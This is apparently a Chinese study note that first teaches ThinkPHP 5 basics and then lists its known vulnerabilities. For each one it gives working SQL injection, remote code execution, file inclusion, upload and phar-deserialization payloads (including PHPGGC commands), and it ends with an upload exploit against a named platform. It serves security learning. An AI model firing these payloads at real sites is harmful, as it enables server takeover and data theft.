[TOC]
Thinkphp框架
PHP框架是许多代码的集合,这些代码是程序结构的代码,代码中有许多函数、类、功能类包。
相关框架
zendframework
php语言公司zend发布的官方框架,有许多OOP面向对象内容,功能非常丰富,重量级框架(高级语言、功能丰富)
Yii
国人自己开发的框架,重量级框架,纯OOP框架,该框架的特点是把代码的重用性发挥到了极致。速度非常快。外企使用最多的框架之一。
cakephp
cakephp是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该框架的主要目标是让各种层次的PHP开发人员能快速灵活的开发健壮的Web应用。
symfony
symfony是基于MVC模式的面向对象的PHP5框架。
ThinkPHP
ThinkPHP 是一个基于PHP 的快速、简单的轻量级MVC(Model-View-Controller)开发框架。它由中国开发者开发并广泛应用于国内的PHP 开发领域。ThinkPHP 的目标是简化开发过程,提高开发效率,同时保持代码的可维护性和扩展性。
特别适合中小型项目和快速开发场景。
旧版ThinkPHP环境部署
在新建项目下,使用阿里云的镜像安装:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project --prefer-dist topthink/think=5.0.15 .
将 composer.json 文件的 require 字段设置成如下:
修改完成之后,执行 composer update。
使用 phpstudy 搭建网站。选择 public 作为根目录。
部署成功:
Thinkphp框架结构
目录结构
project 应用部署目录
├─application * 应用目录 (网站代码目录)
│ ├─common 公共模块目录(可更改)
│ ├─index * 模块目录(可更改)
│ │ ├─config.php * 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php * 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
入口文件
ThinkPHP采用单一入口模式(默认都是index.php)进行项目部署和访问,无论完成什么功能,一个应用都有一个统一的入口。
URL设计
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
这种方式也称为 PATH_INFO 方式,例如:
http://serverName(域名)/index.php(入口文件)/index(模块名)/index(文件名)/hello(函数名)/val(参数)/value(值)
模块:
控制器:
操作:
如果你的环境只能支持普通方式的URL参数访问,那么必须使用兼容模式访问,如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
模块设计
模块结构:
├─module1 模块1目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录(可选)
│ │ ├─view 视图目录(可选)
│ │ └─ ... 更多类库目录
controller是固定的。
控制器首字母大写。
MVC模式
MVC的全名是Model View Controller,是模型(Model)-视图(view)-控制器(controller)的缩写,是一种设计模式。它是用一种业务逻辑、数据与界面显示分离的方法来组织代码。
控制器
控制器主要负责请求的接收,并调用相关的模型处理,并最终通过视图输出。
一个典型的Index控制器类如下:
namespace app\index\controller; // index是控制器名,app的controller格式固定
//application\index\controller\Index.php 是控制器类文件的实际位置
class Index
{
public function index()
{
return 'hello,thinkphp!';
}
}
操作
一个控制器包含多个操作(方法),操作方法是一个URL访问的最小单元。
public function index()
{
return 'index';
}
操作方法可以不使用任何参数,如果定义了一个非可选参数,则该参数必须通过用户请求传入,如果是URL请求,则通常是POST方式传入。
路由规则
在 route.php 文件里:
return [
'__pattern__' => [
'name' => '\w+',
],
'[hello]' => [
':id' => ['index/hello', ['method' => 'get'], ['id' => '\d+']],
':name' => ['index/hello', ['method' => 'post']],
],
];
解释如下:
当访问 hello/123 时,调用的是 index/hello 方法,参数 id = 123,仅限 get 请求。
当访问 hello/tom 时,调用的是 index/hello 方法,参数 name = tom,仅限 post 请求。
启用调试可以看到详细报错:
当我们用 http://test.com/index.php/hello/tom 的 POST 方法进行传参时,就会直接访问到 hello 方法。
变量获取
变量类型方法包括:
| 方法 | 描述 |
|---|---|
| param | 获取当前请求的变量 |
| get | 获取$_GET 变量 |
| post | 获取$_POST 变量 |
| put | 获取PUT 变量 |
| delete | 获取DELETE 变量 |
| session | 获取$_SESSION 变量 |
| cookie | 获取$_COOKIE 变量 |
| request | 获取$_REQUEST 变量 |
| server | 获取$_SERVER 变量 |
| env | 获取$_ENV 变量 |
| route | 获取 路由(包括PATHINFO) 变量 |
| file | 获取$_FILES 变量 |
-
获取PARAM变量
PARAM变量是框架提供的用于自动识别GET、POST或者PUT请求的一种变量获取方式
// 获取当前请求的name变量 Request::instance()->param('name'); // 获取当前请求的所有变量(经过过滤) Request::instance()->param(); // 获取当前请求的所有变量(原始数据) Request::instance()->param(false); // 获取当前请求的所有变量(包含上传文件) Request::instance()->param(true);系统为一些常用的操作方法封装了助手函数,便于使用,input函数默认就采用PARAM变量读取方式
// 和上面对应起来: input('param.name'); input('param.'); 或者 input('name'); // = $_GET['name'] = $_POST['name'] input('');(其他变量获取函数和 PARAM 函数用法类似,input函数用法也类似)
变量修饰符
input 函数支持对变量使用修饰符功能,可以更好的过滤变量。
用法如下:
input('变量类型.变量名/修饰符');
或者
Request::instance()->变量类型('变量名/修饰符');
input('get.id/d'); // intval($_GET['id']) (数字型)
input('post.name/s'); // (字符型)
// = string($_POST['name']) = htmlspecialchars($_POST['name'])
input('post.ids/a'); // (数组型)
Request::instance()->get('id/d');
ThinkPHP5.0版本默认的变量修饰符是 /s,如果需要传入字符串之外的变量可以使用下面的修饰
符,包括:
| 修饰符 | 作用 |
|---|---|
| s | 强制转换为字符串类型 |
| d | 强制转换为整型类型 |
| b | 强制转换为布尔类型 |
| a | 强制转换为数组类型 |
| f | 强制转换为浮点类型 |
变量过滤
框架默认没有设置任何过滤规则,你可以是配置文件中设置全局的过滤规则:
也支持使用 Request 对象进行全局变量的获取过滤:
Request::instance()->filter('htmlspecialchars');
也可以在获取变量的时候添加过滤方法,例如:
Request::instance()->get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤
Request::instance()->param('username','','strip_tags'); // 获取param变量 并用strip_tags函数过滤
Request对象还支持PHP内置提供的Filter ID过滤,例如:
Request::instance()->post('email','',FILTER_VALIDATE_EMAIL);
需要注意的是,采用Filter ID 进行过滤的话,如果不符合过滤要求的话会返回false,因此你需要配合默认值来确保最终的值符合你的规范。
数据库
基本查询
-
查询一个数据使用:
// table方法必须指定完整的数据表名 Db::table('think_user')->where('id',1)->find();find 方法查询结果不存在,返回null
-
查询数据集使用:
Db::table('think_user')->where('status',1)->select();select 方法查询结果不存在,返回空数组
-
如果设置了数据表前缀参数的话,可以使用:
Db::name('user')->where('id',1)->find(); Db::name('user')->where('status',1)->select();
(在 database.php 配置文件下)
原生查询
-
query方法
query方法用于执行SQL查询操作,返回查询结果 。
Db::query("select * from think_user where status=1"); -
execute方法
execute用于更新和写入数据的sql操作
Db::execute("update think_user set name='thinkphp' where status=1"); -
参数绑定
Db::query('select * from think_user where id=?',[8]); Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']); Db::query('select * from think_user where id=:id',['id'=>8]); Db::execute('insert into think_user (id, name) values (:id, :name)', ['id'=>8,'name'=>'thinkphp']);以上使用
?或:的参数绑定都不存在 SQL 注入。
Composer
Composer 是PHP 用来管理依赖(dependency)关系的工具。
Composer下载与安装
-
linux环境安装
curl -sS https://getcomposer.org/installer| php mv composer.phar /usr/local/bin/composer -
Windows环境安装
下载并运行 Composer-Setup.exe,安装完毕输入compser
下载网址:getcomposer.org/Composer-Se…
小皮面板中也有自带的 composer。
在 public 所在的目录下用 composer 进行管理。
访问到看到下图即创建成功:
ThinkPHP常见漏洞
框架漏洞
ThinkPHP框架存在多个版本,不同版本漏洞也不同。
insert 方法注入
-
版本
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
-
例子
insert函数是用于向数据库插入单条数据的核心方法。将 application/index/controller/Index.php ⽂件代码设置如下:
<?php namespace app\index\controller; class Index { public function index() { $username = Input('username/a'); db('users')->insert(['username' => $username]); //插入数据库 return 'Update success'; } }在 application/database.php ⽂件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。创建数据库信息如下:
create database tpdemo; use tpdemo; create table users( id int primary key auto_increment, username varchar(50) not null ); -
exp
index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
update 方法注入
-
版本
5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)
-
例子
<?php namespace app\index\controller; class Index { public function index() { $username = Input('username/a'); db('users')->where(['id' => 1])->update(['username' => $username]); return 'Update success'; } } -
exp
http://tp.com/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
select 方法注入
-
版本
ThinkPHP5全版本
-
例子
<?php namespace app\index\controller; class Index { public function index() { $username = Input('username'); $result = db('users')->where('username','exp',$username)->select(); return 'select success'; } } -
exp
username=) union select updatexml(1,concat(0x7,user(),0x7e),1)-- a
在报错信息中可以看到成功执行的SQL语句:
- 如果使⽤了EXP表达式,当表达式的值可以被攻击者控制的时候,则也会造成sql注⼊漏洞,但是官⽅认为此功能是正常功能,因此全版本都存在类似问题。
select 方法注入
-
版本
ThinkPHP=5.0.10
-
例子
<?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); var_dump($result); } } -
exp
username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()-- a
orderby 方法注入
-
版本
5.1.16<=ThinkPHP5<=5.1.22
-
例子
<?php namespace app\index\controller; class Index { public function index() { $orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find(); var_dump($result); } } -
exp
orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
所有 Mysql 聚合函数相关方法均存在注入
-
版本
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
-
例子
<?php namespace app\index\controller; class Index { public function index() { $options = input('options'); $result = db('users')->max($options); var_dump($result); } } -
exp
5.0.0~5.0.21 、 5.1.3~5.1.10:
options=id)+,bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users-- a5.1.11~5.1.25 :
id)+,bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users-- a
MySQL 常用聚合函数:
| 函数 | 作用 |
|---|---|
COUNT(*) | 统计记录总数 |
COUNT(field) | 统计指定字段非空值的数量 |
SUM(field) | 计算指定字段的总和 |
AVG(field) | 计算指定字段的平均值 |
MAX(field) | 获取指定字段的最大值 |
MIN(field) | 获取指定字段的最小值 |
代码执行1
-
版本
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
-
原理
ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调⽤任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
-
exp
ThinkPHP <= 5.0.13
POST /?s=index/index s=whoami&_method=__construct&method=&filter[]=systemThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST / _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -alThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST / HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=COMMAND _method=__construct&filter[]=system&method=get&server[]=COMMAND
代码执行2
-
版本
5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
-
exp
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意⽂件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php⽂件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
文件包含漏洞
-
版本
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
-
例子
<?php namespace app\index\controller; use think\Controller; class Index extendsController { public function index() { $this->assign(request()->get()); return $this->fetch(); // 当前模块/默认视图⽬录/当前控制器(⼩写)/当前操作(⼩写).html } } -
exp
创建 application/index/view/index/index.html ⽂件,内容随意(没有这个模板⽂件的话,在渲染时程序会报错),并将图⽚⻢ 1.jpg 放⾄ public ⽬录下(模拟上传图⽚操作)。接着访问http://localhost:8000/index/index/index?cacheFile=1.jpg,即可触发 ⽂件包含漏洞
不安全写法
sql注入1
直接将变量拼接到数据库查询函数当中
- 例子
public function getVueContent(){
$type=I('type');
$flag=I('flag');
$address=I('address');
$ret=[];
if($flag==1){
$list=M('recharge')->where("address='".$address."' and type=".$type)->order("id desc ")->select(); //用.拼接SQL语句
foreach ($list as $k=>$v){
$list[$k]['addtime']=date('Y-m-d H:i:s',$v['addtime']);
$list[$k]['amount']=round($v['amount'],5).'USDT ';
}
echo json_encode($list);
直接在表名中插⼊变量导致sql注⼊漏洞
- 例子
$wallet = $this->request->param('type');
$page = $this->request->param('page') ?? 1;
// 直接插入变量
$list =Db::name($wallet . '_log a')->join('user b', 'a.user_id=b.id', 'left')->where(['a.user_id' => $this->user_id])->field('a.id,a.number,a.table_id,a.type,a.remark,a.remain,a.w_time,b.username')->order('a.id desc')->paginate(20, false, ['page' => $page]);
if ($list->all()) {
sql注入2
使用原生获取参数方法,跳过了 thinkphp 的数组检查。
- 例子
$map['orderid'] = $POST['out_trade_no'];
$map['status'] = 0;
$rs =Db::name("pay")->where($map)->find(); // ['orderid' => $POST['out_trade_no']]
- exp
out_trade_no[]=exp&out_trade_no[]=)+union+select+updatexml(1,concat(0x7,user(),0x7e),1)--+a
文件上传
- 例子
上传时除了使⽤普通的上传⽅式,也可以使⽤base64上传
public function uploadBase64Img()
{
$base64_image_content = $this->request->param('img');
if (empty($base64_image_content)) {
$this->error('图⽚不能为空');
}
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)) { // 利用正则表达式分离出主题和后缀。
//if(in_array($result[2],array('pjpeg','jpeg','jpg','gif','bmp','png'))
$type = $result[2]; // 后缀直接传到$type中,无过滤。
$new_file = '/uploads/share_images';
if (!file_exists(ROOT_PATH . 'public' . $new_file)) {
mkdir(ROOT_PATH . 'public' . $new_file, 0777);
} // 创建一个目录
$new_file .= '/' . uniqid(md5(microtime(true))) . '.' . $type; // 创建对应文件
if (file_put_contents('.' . $new_file, base64_decode(str_replace($result[1], '', $base64_image_content)))) { // 写入文件
$img_url = $this->request->domain() . $new_file;
$this->success('上传成功', $img_url);
} else {
$this->error('上传失败');
}
} else {
$this->error('图⽚格式不正确');
}
}
由于无文件后缀过滤导致任意文件上传漏洞。
-
例子
原⽣的上传写法
// 获取表单上传⽂件 例如上传了001.jpg
$file = request()->file('image');
// 移动到框架应⽤根⽬录/uploads/ ⽬录下
$info = $file->move( '../uploads');
同样无过滤。
phar反序列化漏洞
通常我们在利⽤反序列化漏洞的时候,只能将序列化后的字符串传⼊unserialize(),随着代码安全性越来越⾼,利⽤难度也越来越⼤。现在利⽤phar⽂件会以序列化的形式存储⽤户⾃定义的meta-data这⼀特性,拓展了php反序列化漏洞的攻击⾯。
phar简介
phar,全称为PHP Archive,har扩展提供了⼀种将整个PHP应⽤程序放⼊phar⽂件中的⽅法,以⽅便移动、安装。
phar文件结构
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件
//签名⾃动计算
$phar->stopBuffering();
echo "success!";
?> //代码用于生成一个par文件。
-
stub
⼀个供phar扩展⽤于识别是否为phar⽂件的标志。
-
manifest
这部分会以序列化的形式存储⽤户⾃定义的meta-data,这⾥即为反序列化漏洞点。
-
contents
被压缩⽂件的内容。
-
signature
签名,放在⽂件末尾。
注意:要将php.ini中的 phar.readonly 选项设置为 Off ,否则⽆法⽣成phar⽂件。
利用方法
- ⽣成恶意phar⽂件,本质是反序列化漏洞,因此要有可⽤的魔术⽅法作为“跳板”。
- 上传恶意phar⽂件,恶意⽂件要能够上传到服务器端。
- 调⽤恶意phar⽂件,需要存在⽂件操作函数,并且参数可控,且:、/、phar等特殊字符没有被过滤。
PHPGGC工具
PHPGGC是⼀款能够⾃动⽣成主流框架的序列化测试payload的⼯具。
⽬前,该⼯具⽀持以下⼩⼯具链:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 、 ZendFramework和ThinkPHP。
工具安装
解压到本地后,用cmd打开总目录。
工具使用
运⾏phpggc 的条件 PHP >= 5.6
- 查看全部利⽤链(gadgets)
php ./phpggc -l
- 查看⽤法
php phpggc ThinkPHP/RCE1 -i
- ⽣成恶意phar⽂件
php phpggc ThinkPHP/RCE1 system calc -p phar -o a.jpg
-p 指定par文件
-o 保存的文件名
(保存在这里)
⽣成的原始payload含有不可⻅字符,复制粘贴会导致反序列化失败。可以对payload进⾏编码:
- ⽣成url编码的payload
php phpggc ThinkPHP/RCE1system calc -u
- ⽣成base64编码的payload
php phpggc ThinkPHP/FW1test.php 1.php -b
如果是windows下利⽤phar反序列化漏洞写⼊⽂件,⽣成⽂件的⽬录是php解释器⽬录,下⾯命令会在phpstudy的php解释器⽬录下⽣成⽂件
# php phpggc ThinkPHP/FW1 -i
Name : ThinkPHP/FW1
Version : 5.0.4-5.0.24
Type : File write
Vector : __destruct
Informations :
We do not have full control of the path. Also, the path will turn to
a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c
7186db11bb158c44.php.
Tested on Windows with php7.3.4 and apache2.4.39.
./phpggc ThinkPHP/FW1 <remote_path> <local_path>
php phpggc ThinkPHP/FW1 test.php 1.php -o 1.txt
文件操作函数
php⼀⼤部分的⽂件系统函数在通过 phar:// 伪协议解析phar⽂件时,都会将meta-data进⾏反序列化,测试后受影响的函数如下:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
mime_content_type
standard
getimagesize
getimagesizefromstring
finfo
finfo_file
finfo_buffer
zip
$zip = newZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
<?php
$pdo = newPDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "12
7.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m,MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' IN
TO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置⼀下mysqld。(⾮默认配置)
[mysqld]
local-infile=1
secure_file_priv=""
注意:
-
正常情况下会弹出计算器,不过如果服务器权限过低就会执行失败。
-
文件路径要填相对路径(相对于index.php文件的路径)。
月老盲盒脱单交友平台审计
文件上传漏洞
下⾯代码通过input函数接收data参数,类型是数组,然后调⽤base64image函数进⾏处理。
base64image函数没有进行任何过滤。
直接用base64编码格式上传:
data=data:[文件MIME类型];base64,[文件的Base64编码内容]
data=data:image/php;base64,PD9waHAKZXZhbChwaHBpbmZvKCkpOwoKPz4=
访问得到: